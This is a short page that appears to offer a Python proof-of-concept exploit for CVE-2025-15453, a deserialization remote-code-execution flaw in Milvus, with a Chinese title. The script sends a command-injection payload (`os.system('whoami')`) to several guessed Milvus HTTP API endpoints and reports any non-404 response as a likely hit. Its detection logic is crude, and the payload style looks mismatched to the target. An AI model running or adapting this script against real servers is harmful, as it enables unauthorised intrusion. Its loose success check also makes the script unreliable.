CVE-2025-15453: Milvus expr.Exec反序列化远程代码执行漏洞

import requests import json # CVE-2025-15453 PoC - Milvus Deserialization RCE # Target: Milvus <= 2.6.7 # Endpoint: HTTP API with expr.Exec function TARGET = "http://target:19530" # Malicious payload for deserialization attack # This payload exploits unsafe deserialization in expr.Exec payload = { "code": "__import__('os').system('whoami')", # Example command injection "expr_type": "unsafe_deserialization" } def exploit_milvus_deserialization(target, payload): """ Exploit CVE-2025-15453 by sending malicious code parameter to the HTTP endpoint that processes expressions. """ try: # Try common Milvus HTTP API endpoints endpoints = [ f"{target}/v1/query", f"{target}/api/v1/query", f"{target}/api/expr/exec" ] for endpoint in endpoints: # Send malicious request response = requests.post( endpoint, json=payload, timeout=10, verify=False ) print(f"[*] Testing endpoint: {endpoint}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code != 404: return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-15453 PoC - Milvus Deserialization") print("=" * 60) result = exploit_milvus_deserialization(TARGET, payload) if result: print("[+] Vulnerability may be present!") else: print("[-] Target not vulnerable or endpoint not found")